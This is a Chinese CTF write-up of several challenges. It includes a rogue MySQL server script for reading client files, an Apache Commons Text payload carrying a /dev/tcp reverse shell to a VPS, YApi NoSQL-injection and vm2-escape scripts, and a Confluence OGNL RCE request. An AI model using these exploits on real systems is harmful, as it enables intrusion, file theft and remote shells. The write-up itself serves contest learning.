0x1 羊了拼羊
签到题。js代码搜索ctf找到flag
Mysql恶意服务器读取文件的漏洞。可构建一个恶意的myql服务器读取靶机上的/flag文件。在github找到注册恶意mysql服务器的脚本,修改脚本中读取的文件为/flag。
#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers
PORT = 3306
log = logging.getLogger(__name__)
log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)
filelist = (
'/flag',
)
#================================================
#=======No need to change after this lines=======
#================================================
__author__ = 'Gifts'
def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return
if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)
class LastPacket(Exception):
pass
class OutOfOrder(Exception):
pass
class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "{0}{1}".format(
header,
self.payload
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)) )
)
self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []
if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')
filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)
if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1
elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()
class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)
if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()
self.listen(5)
def handle_accept(self):
pair = self.accept()
if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)
z = mysql_listener()
# daemonize()
asyncore.loop()
在vps上开启恶意mysql服务器,在web页面填写恶意服务器地址,在vps的mysql.log即可读取flag。
thinkphp6 多语言文件包含漏洞。
写入webshell
蚁剑连接
readflag
Apache Commons Text远程代码执行漏洞。通过分析可知,后端做了一些黑名单策略。不允许出现script、file等字符串。
base64函数可用,编码后能被执行,但无回显
${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImxzIikudG9TdHJpbmcoKX0=}
对如下payload进行base64加密:
${script:js:java.lang.Runtime.getRuntime().exec("/bin/bash -c [email protected]|bash 0 echo bash -i >&/dev/tcp/vps_ip/2333 0>&1")}
反弹shell成功
readflag
默认账号密码 [email protected]/ymfe.org。先尝试了一下添加接口高级Mock脚本命令执行,没成功。
尝试mongodb注入获取token,从而实现vm逃逸。
先盲注获得token:
import requests
tokenletter = "0123456789abcedf"
url1 = "http://47.98.161.119:9090/api/project/get"
token = ""
for i in range(16):
for j in tokenletter:
body = {"token":{"$regex":"^" + token + j}}
resp = requests.get(url=url1,json=body,verify=False)
if "406" in resp.text:
print(body)
token += j
print(token)
#8fa743801266b2391d16
得到token为8fa743801266b2391d16。
aes192加密token得到uidtoken,遍历id发现id=11时有数据
写脚本获取加密后的uidtoken
const crypto = require('crypto');
uid = "11"
token = "8fa743801266b2391d16"
data = uid + "|" + token
password = "abcde"
// 如下方法使用指定的算法与密码来创建cipher对象
const cipher = crypto.createCipher('aes192', password);
// 使用该对象的update方法来指定需要被加密的数据
let crypted = cipher.update(data, 'utf-8', 'hex');
crypted += cipher.final('hex');
console.log(crypted)
得到加密后的token为:
043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc
接着上传vm逃逸脚本
import requests
import re
token = "043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc"
url = f'http://47.98.161.119:9090/api/project/up?token={token}'
headers = {
"content-type":"application/json"
}
vm2Script = """
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("/readflag").toString()
context.responseData = 'testtest' + mockJson + 'testtest'
console.log(responseData)
"""
body_json = {"id":11,
"pre_script":"",
"after_script":vm2Script}
print(body_json)
id = 1
while id:
body_json["id"] = id ## 项目id 需要枚举
resp = requests.post(url=url,headers=headers,json=body_json)
print(resp.status_code)
print(resp.text)
if resp.status_code == 200 and re.search("\"errcode\":0",resp.text):
print("[*] pre-response 脚本上传成功")
id = False
else:
print("[*] pre-response 脚本上传失败")
id+=1
#id=66时成功
最后触发漏洞得到flag
import requests
import re
token = "043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc"
id = 1
while id:
url =f'http://47.98.161.119:9090/api/open/run_auto_test?id={id}&token={token}&mode=html'
resp = requests.get(url=url)
if re.search("YAPI",resp.text) and re.search("",resp.text):
print("[*] 命令执行成功")
# print(url)
print("===")
print(id)
print(re.search("testtest[\s\S]*testtest",resp.text)[0])
id = False
break
print(url)
id += 1
exit()
Atlassian Confluence远程代码执行漏洞
payload如下:
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/flag%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
本题为椭圆曲线求解问题。当u=w时,3*u*w + 4*u + 1 = 3u^2 + 4u + 1,从而可以知道椭圆曲线公式为:y^2 = x^3 + 2x^2 + x + C,带入点(4,10),可得C=0,即椭圆曲线公式为:y^2 = x^3 + 2x^2 + x = x(x^2+2x+1) = x(x+1)^2,为奇异椭圆曲线,根据其性质,可将奇异椭圆曲线上的点构成的群映射到有限域上的乘法群中。
在github找了一个现成的脚本,将点P(4,10)和加密后的点Q映射到有限域上的数mapP、mapQ,从而将椭圆曲线求解转化为有限域上的离散对数求解,使用sage可解得x。
p = 193387944202565886198256260591909756041
PP = PolynomialRing(GF(p), 'x')
x = PP.gens()[0]
f = x^3 + 2*x^2 + x
f_ = f.subs(x=x-1)
root = f_.factor()[0][0][0]
def trans(P):
P_ = (P[0] +1, P[1])
t = GF(p)(root).square_root()
res = (P_[1] + t*P_[0])/(P_[1] - t*P_[0]) % p
return res
mapP = trans((4, 10))
mapQ = trans((65639504587209705872811542111125696405, 125330437930804525313353306745824609665))
print(mapQ.log(mapP))
用求出的x解密发现flag乱码,考虑到可能存在多解情况,尝试不同的x进行AES解密,最后得到flag。
#!/usr/bin/env python3
# coding=utf-8
from Crypto.Cipher import AES
p = 193387944202565886198256260591909756041
ctext = bytes.fromhex('b3669dc657cef9dc17db4de5287cd1a1e8a48184ed9746f4c52d3b9f8186ec046d6fb1b8ed1b45111c35b546204b68e0')
def test(x):
aes = AES.new(x.to_bytes(16, 'big'), AES.MODE_CBC, bytes(16))
flag = aes.decrypt(ctext)
if b'rwctf' in flag:
print(flag)
x = 4470735776084208177429085432176719338
while x < p:
test(x)
x += (p-1) // 4
使用jeb逆向分析发现本程序为贪吃蛇游戏,蛇的每一截身体都是一个从资源列表中选取的png图像。一开始为随机图像,蛇超过一定长度后开始新增固定图像。固定图像共22个,每次从17个图像中选取(b0.png~b16.png,为17个ASCII字符的图像)。
所选图像的下标通过一段brainfuck代码计算得到,brainfuck关键代码如下:
该brainfuck代码将'['、']'和'<'、'>'字符的含义进行了交换。模拟执行该代码得到23个数,根据程序逻辑去掉第一个,剩下的22个即为下标,以此选取对应的字母图像,组合得到的字符串,再以rwctf{}包上即为flag:rwctf{K33PG01NGD0N0TG1V3UPPP}。